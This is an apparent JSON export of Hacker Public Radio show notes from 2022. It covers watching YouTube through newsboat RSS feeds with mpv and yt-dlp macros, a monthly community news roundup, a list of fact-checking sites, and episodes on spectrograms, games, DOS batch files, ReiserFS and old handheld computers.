                                                            Youtube (currently) provides RSS feeds for channels.

                                                            \n

                                                            Finding Youtube channel ID

                                                            \n

                                                            Sometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string UC so we can easily grep for them.

                                                            \n
                                                            $ curl https://www.youtube.com/c/RMCRetro | grep --color "href=\\"https://www.youtube.com/channel/UC\\""\n[ lots of nonsense ]\nhref="https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w"\n[ lots of nonsense ]
                                                            \n

                                                            In order to turn this channel ID into something useful, we create the following URL:

                                                            \n
                                                            https://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w
                                                            \n

                                                            Google takeout can also be used to export youtube subscriptions.

                                                            \n

                                                            The export format is a CSV that contains the channel IDs for all of our subscriptions.

                                                            \n
                                                            Channel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The Cave
                                                            \n

                                                            Newsboat url list

                                                            \n

                                                            Newsboat reads it’s list of URLs from ~/.config/newsboat/urls. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds

                                                            \n

                                                            If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a sed 's/channel\\//feeds\\/videos.xml?channel_id=/g' on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.

                                                            \n
                                                            http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w     RMC - The Cave
                                                            \n

                                                            Newsboat config

                                                            \n

                                                            In order to play videos, we need to add some macros to the newsboat config file at ~/.config/newsboat/config

                                                            \n

                                                            Mine looks like this.

                                                            \n
                                                            # load URLS on launch\nauto-reload  yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\nbind-key d pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\nbind-key D pb-download\nbind-key U bashow-urls\nbind-key x pb-delete\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# launch video player\nmacro v set browser "setsid -f mpv" ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser "yt-dlp"; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser "yt-dlp --embed-metadata -xic -f bestaudio/best" ; open-in-browser ; set browser linkhandler
                                                            \n

                                                            Video demo

                                                            \n

                                                            This is a demo of using newsboat with videos. In order to execute the macros, you type , then v or whatever other letter you set the macro to.

                                                            \n

                                                            video in webm format your web browser or operating system does not support free video codecs :(

                                                            \n

                                                            A url list to get you started

                                                            \n
                                                            https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ        Andreas Kling\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9-y-6csu5WGm29I7JiwpnA        Computerphile\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC15BJjhPr4d5gTClhmC4HRw        Elliot Coll\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCxQKHvKbmSzGMvUrVtJYnUA        Learn Linux TV\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ        LockPickingLawyer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCl2mFZoRqjw_ELax4Yisf6w        Louis Rossmann\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA        Luke Smith\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA        Mental Outlaw\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w        Modern Vintage Gamer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w        RMC - The Cave\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC4rqhyiTs7XyuODcECvuiiQ        Scott The Woz\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5I2hjZYiW9gZPVkvzM8_Cw        Techmoan\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy0tKL1T7wFoYcxCe0xjN6Q        Technology Connections\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC8uT9cgJorJPWu7ITLGo9Ww        The 8-Bit Guy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw        The Linux Experiment\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCFMx-JitepTttWc-ABHhu8A        This Week in Retro\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg        Wolfgang's Channel\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ8V9aiz50m6NVn0ix5v8RQ        decino                
                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"newsboat, RSS, youtube","version":0,"downloads":0,"valid":1}, {"id":3696,"date":"2022-10-03","title":"HPR Community News for September 2022","duration":3283,"summary":"HPR Volunteers talk about shows released and comments posted in September 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3674Thu2022-09-01Emergency Show posted in 2012. MUDKlaatu
                                                            3675Fri2022-09-02Plan 9: An exercise in futilitybinrc
                                                            3676Mon2022-09-05HPR Community News for August 2022HPR Volunteers
                                                            3677Tue2022-09-06Hacker Public Radio 2021 - 2022 New Years Show Part 4Honkeymagoo
                                                            3678Wed2022-09-07\"Stupid Users\" ... no, not those users, the other \"stupid users\"Lurking Prion
                                                            3679Thu2022-09-08Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)smonochromec
                                                            3680Fri2022-09-09EDITAhuka
                                                            3681Mon2022-09-12Rust 101 Episode 3: Functionally InsaneBlacKernel
                                                            3682Tue2022-09-13Hacker Public Radio 2021 - 2022 New Years Show Part 5Honkeymagoo
                                                            3683Wed2022-09-14Add a favourite to OSMAndKen Fallon
                                                            3684Thu2022-09-15Wake on LanJWP
                                                            3685Fri2022-09-16Budget and an Android appArcher72
                                                            3686Mon2022-09-19 Followup for HPR3675: Clarifications on the path traversal bugbinrc
                                                            3687Tue2022-09-20Hacker Public Radio 2021 - 2022 New Years Show Part 6Honkeymagoo
                                                            3688Wed2022-09-21Education, Certifications, and sipping on the SocialsLurking Prion
                                                            3689Thu2022-09-22Linux Inlaws S01E65: TerminusDBmonochromec
                                                            3690Fri2022-09-23Planning the TripAhuka
                                                            3691Mon2022-09-26Starship.rs the best prompt I don't useKlaatu
                                                            3692Tue2022-09-27What is a real hacker?Lurking Prion
                                                            3693Wed2022-09-28Fixing the automatic cutoff mechanism to an electric mowerRho`n
                                                            3694Thu2022-09-29Robo Tripping Ravelords of the ApocalypseMechatroniac
                                                            3695Fri2022-09-30How I watch youtube with newsboatbinrc
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 39 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n8 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2449\n(2017-12-21) \"Org-mode mobile solution\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSinza on 2022-09-06:\n\"Pinephone\"

                                                              \n
                                                            • hpr2756\n(2019-02-25) \"Bash Tips - 20\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nUnnamed on 2022-09-30:\n\"Untitled\"

                                                              \n
                                                            • hpr3655\n(2022-08-05) \"BSD for Linux users\"\nby binrc.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nKen Fallon on 2022-09-08:\n\"Featured on BSD Now 471\"

                                                              \n
                                                            • hpr3658\n(2022-08-10) \"Linux Inlaws S01E62: HPR's inner workings\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\noperat0r on 2022-09-05:\n\"awesome\"

                                                              \n
                                                            • hpr3662\n(2022-08-16) \"Hacker Public Radio 2021 - 2022 New Years Show Part 1\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"

                                                              \n
                                                            • hpr3667\n(2022-08-23) \"Hacker Public Radio 2021 - 2022 New Years Show Part 2\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"

                                                              \n
                                                            • hpr3672\n(2022-08-30) \"Hacker Public Radio 2021 - 2022 New Years Show Part 3\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"

                                                              \n
                                                            • hpr3673\n(2022-08-31) \"Recording for Hacker Public Radio\"\nby dnt.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nCarl on 2022-09-05:\n\"Great Tips!\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 31 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3675\n(2022-09-02) \"Plan 9: An exercise in futility\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2022-09-02:\n\"Directive gem.\"
                                                              • Comment 2:\nClaudioM on 2022-09-02:\n\"plan9 / 9p\"
                                                              • Comment 3:\nnorrist on 2022-09-02:\n\"In-Depth Series: Learning Awk\"
                                                              • Comment 4:\nken on 2022-09-03:\n\"Editors note not Ken Fallon\"
                                                              • Comment 5:\npasserby on 2022-09-03:\n\"fake news\"
                                                              • Comment 6:\nwill on 2022-09-03:\n\"come back to plan9\"

                                                              \n
                                                            • hpr3676\n(2022-09-05) \"HPR Community News for August 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2022-09-04:\n\"Good show - I made it to the end\"
                                                              • Comment 2:\nClaudioM on 2022-09-05:\n\"Another One Made It to the End!\"
                                                              • Comment 3:\nMike Ray on 2022-09-05:\n\"A11y and abbreviations\"
                                                              • Comment 4:\noperat0r on 2022-09-06:\n\"I made it !\"
                                                              • Comment 5:\nfolky on 2022-09-06:\n\"Did make it too\"
                                                              • Comment 6:\nbrian-in-ohio on 2022-09-06:\n\"the show\"
                                                              • Comment 7:\nnorrist on 2022-09-06:\n\"Public access to HPR site Generator\"
                                                              • Comment 8:\nMiguel on 2022-09-06:\n\"I made it!!\"
                                                              • Comment 9:\nStache_AF on 2022-09-07:\n\"Made It\"

                                                              \n
                                                            • hpr3677\n(2022-09-06) \"Hacker Public Radio 2021 - 2022 New Years Show Part 4\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"
                                                              • Comment 2:\nFilly Buster on 2022-09-06:\n\"Filibuster\"

                                                              \n
                                                            • hpr3678\n(2022-09-07) \"\"Stupid Users\" ... no, not those users, the other \"stupid users\"\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-09-08:\n\"Stupid=\"NO BACKUPS!\"\"
                                                              • Comment 2:\nLurking Prion on 2022-09-09:\n\"No Backups\"
                                                              • Comment 3:\nLurking Prion on 2022-09-09:\n\"Not a podcast\"
                                                              • Comment 4:\nSome Guy On The Internet on 2022-09-10:\n\"You're Fine (...preemptive strike).\"

                                                              \n
                                                            • hpr3682\n(2022-09-13) \"Hacker Public Radio 2021 - 2022 New Years Show Part 5\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"

                                                              \n
                                                            • hpr3687\n(2022-09-20) \"Hacker Public Radio 2021 - 2022 New Years Show Part 6\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"

                                                              \n
                                                            • hpr3692\n(2022-09-27) \"What is a real hacker?\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2022-09-27:\n\"cussing\"
                                                              • Comment 2:\nLurking Prion on 2022-09-28:\n\"Yes, I probably need a hug\"

                                                              \n
                                                            • hpr3694\n(2022-09-29) \"Robo Tripping Ravelords of the Apocalypse\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2022-09-29:\n\"{inspirational artifice}\"
                                                              • Comment 2:\nClaudioM on 2022-09-29:\n\"Great Story\"
                                                              • Comment 3:\nKen Fallon on 2022-09-29:\n\"I loved this\"
                                                              • Comment 4:\nMechatroniac on 2022-09-29:\n\"Thanks\"
                                                              • Comment 5:\nbrian-in-ohio on 2022-09-30:\n\"the show\"

                                                              \n
                                                            • hpr3695\n(2022-09-30) \"How I watch youtube with newsboat\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2022-09-30:\n\"Great for gpodder too\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            FOSDEM 2023

                                                            \n

                                                            FOSDEM 2023 will take place in Brussels, Belgium at the Université Libre de Bruxelles (or ULB) next February on the weekend of the 4th and 5th.

                                                            \n

                                                            HPR had a stand at the last in-person event, representing Free Culture Podcasts. There is a call for proposals out at the moment for those wishing to run a stand for the forthcoming event.

                                                            \n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in May 2022. We are keeping a running total here to show progress:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            \nMonth\n\nMonth count\n\nRunning total\n\nRemainder\n
                                                            \n2022-04\n\n130\n\n130\n\n1428\n
                                                            \n2022-05\n\n140\n\n270\n\n1288\n
                                                            \n2022-06\n\n150\n\n420\n\n1138\n
                                                            \n2022-07\n\n155\n\n575\n\n983\n
                                                            \n2022-08\n\n155\n\n730\n\n828\n
                                                            \n2022-09\n\n150\n\n880\n\n678\n
                                                            \n\n

                                                            Updated: 2022-10-02 11:47:18

                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3697,"date":"2022-10-04","title":"Mis-information, Dis-information, and Fake News. You are a product and target for all of it.","duration":4297,"summary":"Brady and I discuss Mis-information, Dis-information, and Fake News.","notes":"

                                                            Brady and I discuss Mis-information, Dis-information, and Fake News. We discuss what it is, how it is used, and we are all a product and target for all of it. We discuss ways to avoid deception which leads to a philosophical discussion about truth, morals, and ethics. Brady takes a moment on the couch discussing how understanding the matrix for what it is can affect you on a personal level.

                                                            \n\n

                                                            Definitely NOT real NEWS, but FUN to read:

                                                            \n\n

                                                            Fight Disinformation with Fact Checking Sites:

                                                            \n
                                                              \n
                                                            • Snopes
                                                              \n(almost everything including politics, history, science, and technology)
                                                              \nSnopes is one of the oldest fact-checking websites on the internet and it was started by David and Barbara Mikkelson in 1994. Apart from its huge repository of debunked stories, Snopes still tackles fake news and misinformation in a smart way. As fake information is getting more sophisticated in its language and tone, users are easily falling for it. So to counter the misinformation, Snopes offers detailed explanations from genuine sources (like WHO, CDC) and sets the facts straight.
                                                              \nhttps://www.snopes.com/

                                                            • \n
                                                            • Politifact
                                                              \n(all about fact-checking political claims)
                                                              \nPolitiFact is one of the largest political fact-checking newsrooms in the US and for its impressive work in 2008, the website was awarded Pulitzer Prize for National Reporting. It’s run by the prestigious Poynter Institute (founder of International Fact-Checking Network) and reporters from the independent Tampa Bay Times.
                                                              \nhttps://www.politifact.com/

                                                            • \n
                                                            • FactCheck.org
                                                              \n(political claims, rhetorics, deception, and lies)
                                                              \nPrimarily deals with political claims and rhetorics. However, the website also tries to bring accountability to public officials by exposing deception and their lies. It’s an attempt to bring more factual accuracy to the public discourse which is not just limited to politics, but also extends to TV ads, speeches, interviews, and news releases.
                                                              \nhttps://www.factcheck.org/fake-news/

                                                            • \n
                                                            • ProPublica
                                                              \n(deep dive for hidden truth)
                                                              \nProPublica is an independent investigative online newsroom. More than a fact-checking website, but a portal where you can dive deep and find the hidden truth. For its far-reaching work in the public interest, ProPublica has been awarded several Pulitzer Prizes for public service, explanatory reporting, national reporting, and investigative journalism. As for the coverage, it goes beyond politics and looks into healthcare, education, finances, criminal justice and more. The website is funded by the Knight Foundation, MacArthur Foundation, Ford Foundation, and other few philanthropic institutes.
                                                              \nhttps://www.propublica.org/

                                                            • \n
                                                            • OpenSecrets
                                                              \n(politics)
                                                              \nOpenSecrets finds the effects of money lobbying into electoral politics and fact-checks political speeches and claims. It tracks how a politician is being funded and who are the firms that are funneling money into politics. It was started by the Center for Responsive Politics (CSR) way back in 1983. And as a result of the long operation, OpenSecrets has now one of the largest public databases of donors and political beneficiaries.
                                                              \nhttps://www.opensecrets.org/

                                                            • \n
                                                            • Washington Post Fact Checker
                                                              \n(critical analysis to what politicians have said this week)
                                                              \nFact-checking column under diplomatic correspondent, Glenn Kessler. It does not fact-check every claim on politics and economy, instead the website offers critical analysis to what politicians have said this week. It tries to underline facts and context against a seemingly factful narrative.
                                                              \nhttps://www.washingtonpost.com/news/fact-checker/

                                                            • \n
                                                            • Full Fact
                                                              \n(Fact-checking website focused on the UK and Europe)
                                                              \nA one-stop online portal where you can find information on a wide variety of topics. Full Fact is quick to debunk claims with well-resourced articles and by citing research papers by academics and professionals. So, no matter if it’s a post about technology, medicine or some supernatural power, Full Fact sets the facts straight in a timely manner. It’s a team of independent fact-checkers and campaigners who find a multitude of viral posts from social media and expose them to counter misleading people on the internet. Full Fact runs a “Viral Posts on Facebook” page where it lists out all the outrageous claims and debunks them with detailed explanation and authentic sources.
                                                              \nhttps://fullfact.org/ and for most recent https://fullfact.org/latest/

                                                            • \n
                                                            • Alt News
                                                              \n(fake claims and political misinformation in India)
                                                              \nAlt News is also one of the few fact-checking websites in India which is certified by IFCN (International Fact-Checking Network). It’s run by Pravda Media Foundation and offers its fact-checking service in both English and Hindi. As for funding, Alt News primarily relies on user donations and other independent media trusts. The website is also in partnership with WhatsApp for busting fake news on its chat platform. Apart from that, Alt News regularly debunks claims made on social media platforms covering science, education, and society at large.
                                                              \nhttps://www.altnews.in/

                                                            • \n
                                                            • BOOM FactCheck
                                                              \n(fact-checking website in India)
                                                              \nThis is a fact-checking website in India that exposes fake news on digital platformsIt. BOOM is a signatory of the IFCN Code of Principles and sticks to a high standard of fact-checking methodology. The website is run by Data journalist, Govindraj Ethiraj who earlier worked at Bloomberg. And like other fact-checking websites, Boom also relies on ads and user donations. Apart from this, Boom has a tie-up with WhatsApp to fight the war of misinformation. Boom offers its service in three languages i.e. English, Hindi, and Bengali. Further, it covers the current news cycle, political rhetorics, viral claims made on social media, urban legends, myths, and rumors.
                                                              \nhttps://www.boomlive.in/

                                                            • \n
                                                            • SM Hoax Slayer
                                                              \n(fake information on social media platforms)
                                                              \nSM Hoax Slayer is quick to debunk the claim and update the users through its social media channels. According to the founder, the project started as a place to puncture harmless lies, pranks, and rumors, but soon it developed into a full-fledged fact-checking website. Many mainstream newspapers and media houses including Aaj Tak and Navbharat Times cite SM Hoax Slayer as a reliable source for busting fake news. Coming to funding, SM Hoax Slayer is mostly run by volunteers and funded by user donations and ads.
                                                              \nhttps://smhoaxslayer.com/

                                                            • \n
                                                            • Reuters Fact Check
                                                              \n(international news fact checking)
                                                              \nhttps://www.reuters.com/fact-check
                                                              \n

                                                            • \n
                                                            \n

                                                            Picks of the Week:

                                                            \n\n

                                                            Cool Shit:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,misinformation,disinformation,fakenews","version":0,"downloads":0,"valid":1}, {"id":3698,"date":"2022-10-05","title":"Spectrogram","duration":949,"summary":"Edit audio as a spectrogram","notes":"

                                                            Here's a view of my voice. The bright spots at the bottom of the image are my voice, and the bright burst at the top is a click caused by saliva.

                                                            \n\n

                                                            Here's me inhaling. Notice how sparse this is compared to my voice.

                                                            \n\n

                                                            One thing I fail to mention in the episode is that there are network monitors that render network activity as a spectrogram, too. If you don't have a Wi-Spy, it's worth looking at.

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio","version":0,"downloads":0,"valid":1}, {"id":3699,"date":"2022-10-06","title":"Old and new videogames/board games with guest binrc","duration":2552,"summary":"We will dive into our favorite games or others with interesting mechanics.","notes":"

                                                            Videogames

                                                            \n

                                                            Cruelty Squad on Steam Steam

                                                            \n

                                                            Half-Life Steam

                                                            \n

                                                            Half-Life 2 Steam

                                                            \n

                                                            Deus Ex Steam, GOG

                                                            \n

                                                            Fallout 3 Steam, GOG

                                                            \n

                                                            Slay the Spire Steam, GOG

                                                            \n

                                                            Crypt of the NecroDancer Steam, GOG

                                                            \n

                                                            Spin the bottle Bumpie's party (Nintendo WiiU) website

                                                            \n

                                                            Affordable space adventures (Nintendo WiiU) website

                                                            \n

                                                            Old School Runescape website, open-source client

                                                            \n

                                                            Runescape music: Sea shanty 2 original, remix

                                                            \n

                                                            Life is strange Steam, GOG

                                                            \n

                                                            Grim Fandango Steam

                                                            \n

                                                            Linux-native games

                                                            \n

                                                            These games can be found in most linux distro repositories.

                                                            \n

                                                            Endless Sky website, Steam

                                                            \n

                                                            Powermanga website

                                                            \n

                                                            SuperTuxKart website

                                                            \n

                                                            Xbill Wikipedia, website

                                                            \n

                                                            Retrogame

                                                            \n

                                                            Banjo Kazooie (Nintendo 64) Wikipedia

                                                            \n

                                                            Ducktales (NES) Wikipedia

                                                            \n

                                                            Board Games

                                                            \n

                                                            Labyrinth website

                                                            \n

                                                            Tokaido website, Steam

                                                            \n

                                                            Wingspan website, Steam

                                                            \n","hostid":407,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"games,guest,videogames,board games","version":0,"downloads":0,"valid":1}, {"id":3700,"date":"2022-10-07","title":"Introduction to Batch Files","duration":882,"summary":"More on DOS. This time it is Introduction to Batch Files","notes":"

                                                            Batch files are an important topic to mastering DOS, and in this episode we begin exploring them. Batch files in DOS are similar to BASH scripts in Unix/Linux in that they let you run multiple commands from one file.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, Batch Files","version":0,"downloads":0,"valid":1}, {"id":3701,"date":"2022-10-10","title":"ReiserFS - the file system of the future","duration":1171,"summary":"The history and future of ReiserFS, its involvement with DARPA, a sordid murder and Kernel politics","notes":"
                                                              \n
                                                            • ReiserFS – The file system of the future
                                                            • \n
                                                            • Intro: Welcome to HPR; What I do; How I got in to computing; How I got in to Slackware and discovered ReiserFS
                                                            • \n
                                                            • A history of ReiserFS: Previous episode; Brief recap; A brief history; Lessons learned and experiences gained; Some tools to use
                                                            • \n
                                                            • Outro: Thanks
                                                            • \n
                                                            \n\n

                                                            ReiserFS

                                                            \nFrom Wikipedia, the free encyclopedia\n\n

                                                            \nReiserFS is a general-purpose, journaling file system initially designed and implemented by a team at Namesys led by Hans Reiser and licensed under GPLv2. Introduced in version 2.4.1 of the Linux kernel, it was the first journaling file system to be included in the standard kernel. ReiserFS was the default file system in Novell's SUSE Linux Enterprise until Novell decided to move to ext3 on October 12, 2006, for future releases.
                                                            \n\nNamesys considered ReiserFS version 3.6 which introduced a new on-disk format allowing bigger filesizes, now occasionally referred to as Reiser3, as stable and feature-complete and, with the exception of security updates and critical bug fixes, ceased development on it to concentrate on its successor, Reiser4. Namesys went out of business in 2008 after Reiser's conviction for murder. The product is now maintained as open source by volunteers. The reiserfsprogs 3.6.27 were released on 25 July 2017.
                                                            \n\nReiserFS is currently supported on Linux without quota support. It has been discussed for removal from the Linux kernel since early 2022 due to a lack of maintenance upstream, and technical issues inherent to the filesystem, such as the fact it suffers from the year 2038 problem; it was deprecated in Linux 5.18, with removal planned for 2025.\n

                                                            \n","hostid":411,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hans reiser, reiserfs, reiser4, reiser5, slackware, linux, intro, darpa, acorn, amiga, commodore","version":0,"downloads":0,"valid":1}, {"id":3702,"date":"2022-10-11","title":"Easter Ogg","duration":3722,"summary":"From Scotland, another chat between MrX and Dave Morriss","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n\n

                                                            We recorded this on Monday September 12th 2022. We have a list of talking points each time and never get through them!

                                                            \n

                                                            Topics discussed

                                                            \n\n
                                                              \n
                                                            • Death of Queen Elizabeth\n
                                                                \n
                                                              • Died September 8th 2022 at Balmoral Castle, Scotland, aged 96
                                                              • \n
                                                              • State funeral 2022-09-19
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Navigation by phone:\n
                                                                \n
                                                              • Dave’s phone battery out of charge on the outskirts of Liverpool on the way to OggCamp.
                                                              • \n
                                                              • MrX’s old Garmin GPS used weird routes when travelling
                                                              • \n
                                                              • Dave once met a lost driver going down Donkey Lane1 to the pedestrian railway crossing due to bad GPS directions
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Domestic stuff:\n
                                                                \n
                                                              • Dave’s house has been painted. It’s covered in harling (aka rough-cast or pebble-dash in England) which has very sharp stones embedded in it, and this paint covers these sharp stones.
                                                              • \n
                                                              • Plumbing issues: stopping a dripping tap, replacing the washer, or with modern taps the module.
                                                              • \n
                                                              • Advisability of calling in a plumber!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • COVID-19, and related:\n
                                                                \n
                                                              • The virus has not gone, even though there are many who pretend that it has.
                                                              • \n
                                                              • MrX and MrsX visited St Bees for a wedding with a Cèilidh and MrX caught COVID there, though it wasn’t serious. MrsX did not catch it!
                                                              • \n
                                                              • Immunology is hard to understand! Some cold-like illnesses may be caused by other corona viruses and may help protect against SARS-CoV-2.
                                                              • \n
                                                              • Dave has an Immunology book, but hasn’t read it yet! See the links for details.
                                                              • \n
                                                              • MrX mentioned Richard J Murphy in the context of being realistic about COVID-19 and continuing to take precautions.
                                                              • \n
                                                              • Reluctance to go shopping. Dave makes a weekly trip, wearing a mask. MrX uses Click and Collect.
                                                              • \n
                                                              • Dave has lost weight so some of his clothes are too big. MrX has trouble finding smaller sized clothes when shopping.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Old technology:\n
                                                                \n
                                                              • MrX recently found a box in his wardrobe with six Psion 3c Organisers in it, in various states of disrepair. From these a functioning organiser was made, which is in regular use.
                                                              • \n
                                                              • MrX used to have a Psion Series 3a but the hinge failed.
                                                              • \n
                                                              • Dave had a Psion Series 5mx for a time, as did MrsX. Dave’s failed either because of a screen fault or a failure of the ribbon cable connecting to the screen.
                                                              • \n
                                                              • The Series 3c, and the later 3mx, have an Easter Egg available through a particular key sequence. This is a rendition of the anthem “Jerusalem”, and is included at the end of this episode (and is responsible for the show title).
                                                              • \n
                                                              • Dave had had a Psion Organiser II at work in the early days of organisers, but it was not particularly useful.
                                                              • \n
                                                              • MrX had an Atari Portfolio. He describes it as: a dreadful machine running DOS 2.11
                                                                \nIt regularly crashed, losing all its memory. I decided to ditch it after having to type out my contacts list every time it crashed.
                                                              • \n
                                                              • MrX also had a Nokia N810, an Internet Tablet running Linux.
                                                              • \n
                                                              • Dave couldn’t quite remember at the time of recording, but he bought a used Nokia 770 on eBay, which was the predecessor of the N810. This was also a Linux-based system, but it didn’t last more than a couple of weeks sadly.
                                                              • \n
                                                              • Both bought - and still have - the ASUS Eee PC. Dave’s is the 1005HA model.\n
                                                                  \n
                                                                • MrX still uses his from time to time
                                                                • \n
